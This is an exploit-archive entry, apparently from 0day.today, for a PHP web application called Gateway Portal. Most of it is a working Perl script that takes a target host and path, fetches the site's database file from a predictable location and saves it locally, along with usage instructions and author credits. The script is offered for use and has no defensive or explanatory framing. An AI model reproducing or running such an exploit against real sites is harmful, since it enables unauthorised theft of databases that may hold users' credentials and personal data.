Gateway Portal Remote Database Disclosure Exploit

2010-08-19T00:00:00
ID 1337DAY-ID-13750
Type zdt
Reporter KnocKout
Modified 2010-08-19T00:00:00

Description

Exploit for php platform in category web applications

                                        
                                            =================================================
Gateway Portal Remote Database Disclosure Exploit
=================================================


Author : KnocKout
Thankz : DaiMon
Contact : [email protected]
Script : Gateway Portal
Download : http://scripti.org/script_gateway-portal-scripti_1954_30.html

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Exploit Code'z..
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


#!/usr/bin/perl -w
#
# Gateway Portal Remote Database Disclosure Exploit
# Coded: KnocKout
# Thanks: DaiMon
# Contact : [email protected]
#
 
 
 
use LWP::Simple;
use LWP::UserAgent;

system('cls');
system('title Gateway Portal Remote Database Disclosure Exploit');
system('color 4');


if(@ARGV < 2)
{
print "[-]Ornegi inceleyin\n\n";
&help; exit();
}
sub help()
{
print "[+] usage1 : perl $0 site.com /path/ \n";
print "[+] usage2 : perl $0 localhost / \n";
}

print "\n************************************************************************\n";
print "\* Vural Gateway Portal Remote Database Disclosure Exploit              *\n";
print "\* Exploited By : KnocKout                                                  *\n";
print "\* msn :   knockoutr[at]msn[dot]com                                 *\n";
print "\* Special Thankz : DaiMon Barcod3                                     *\n";
print "\*********************************************************************\n\n\n";

($TargetIP, $path, $File,) = @ARGV;

$File="datastores/hmpage.mdb";
my $url = "http://" . $TargetIP . $path . $File;
print "\n wait!!! \n\n";

my $useragent = LWP::UserAgent->new();
my $request = $useragent->get($url,":content_file" => "C:/db.mdb");

if ($request->is_success)
{
print "[+] $url Exploited!\n\n";
print "[+] Database saved to C:/db.mdb\n";
exit();
}
else
{
print "[!] Exploiting $url Failed !\n[!] ".$request->status_line."\n";
exit();
}



#  0day.today [2018-03-28]  #